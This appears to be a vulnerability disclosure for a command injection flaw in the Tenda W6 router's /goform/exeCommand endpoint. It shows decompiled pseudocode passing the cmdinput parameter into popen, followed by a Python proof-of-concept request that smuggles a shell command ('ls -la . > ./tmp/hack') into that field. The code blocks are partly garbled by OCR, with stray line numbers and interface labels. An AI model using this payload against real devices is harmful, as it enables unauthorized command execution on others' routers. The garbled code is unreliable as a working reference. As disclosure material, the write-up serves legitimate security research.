

Tenda W6 Command Injection Vulnerability

Device Vulnerability Introduction

Tenda W6 is an enterprise wireless AP router from Tenda Technology (Shenzhen, China).

A command injection vulnerability exists in /goform/exeCommand in Tenda W6 V1.0.0.9(4122) version, which allows attackers to construct cmdinput parameters for arbitrary command execution

Firmware download at: https://www.tenda.com.cn/download/detail-2576.html

Exploit process

```
int __fastcall formexeCommand(int a1)
{
```

```
Var = (const char *)websGetVar(a1, "cmdinput", &unk_47F13C);
7  nptr = (char *)websGetVar(a1, "count", "3");
8  v5 = (char *)websGetVar(a1, "size", "56");
9  v4 = (char *)websGetVar(a1, "pro_ver", "4");
0  v3 = (char *)websGetVar(a1, "timeout", "10");
1 vos_strcpy(s + 4, Var);
2 s[1] = atoi(nptr);
s[2] = atoi(v5);
4 *s = atoi(v4);
5 \mid s[3] = atoi(v3);
6 if ( tpi_get_ping_output(s, v8, 4096) )
7
     return printf(
8
              "Error->%s: %s(%d)--get result error! cmd=%s\n",
              "/home/work/workspace/UGWV5_BW_C02_Trunk/develop/prod/httpd/ap_web/cgi/cmd.c",
9
              "formexeCommand",
0
1
              51,
              Var);
3 free(s):
□ IDA View-A □ □ □ Pseudocode-A □ ▼ VulFi Results □ □ □ Hex View-1 □ □ Structures □ □ Enum
    1 int __fastcall tpi_get_ping_output(int a1, void *a2, int a3)
    2 {
    3 FILE *stream; // [sp+2Ch] [+2Ch]
    4 char v5[8192]; // [sp+50h] [+50h] BYREF
    5 int v6; // [sp+2050h] [+2050h]
      int v7; // [sp+2054h] [+2054h]
       int v8; // [sp+2058h] [+2058h]
    7
       int v9; // [sp+205Ch] [+205Ch]
    9
 10 memset(v5, 0, sizeof(v5));
 11
       v6 = 0;
 12
       v7 = 0;
 13
       v8 = 0;
 14
      v9 = 0;
 15
       sprintf(
   16
          v5,
          "%s -%d -c %d -s %d -W %d",
   17
          (const char *)(a1 + 0x10),
   18
   19
          *(_DWORD *)a1,
   20
          *(_DWORD *)(a1 + 4),
          *(_DWORD *)(a1 + 8),
   21
   22
          *( DWORD *)(a1 + 0xC));
 23 stream = (FILE *)popen(v5, "r");
  burp0_url = "http://192.168.5.1/goform/exeCommand"
  burp0_headers = {"Host":"192.168.5.1",
   "Content-Length": "295",
   "Accept": "*/*",
   "X-Requested-With": "XMLHttpRequest",
   "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, 1
   "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
   "Origin": "http://192.168.5.1",
   "Referer": "http://192.168.5.1/main.html",
   "Accept-Encoding": "gzip, deflate",
   "Accept-Language": "en-US, en; q=0.9",
   "Cookie":"user=",
   "Connection": "close"}
```

```
data1="cmdinput=asd;ls -la . > ./tmp/hack;aa"+'a'*0x0
requests.post(burp0_url,headers=burp0_headers,data=data1, verify=False,timeout=1)
```

The specific reproduction process is shown in the video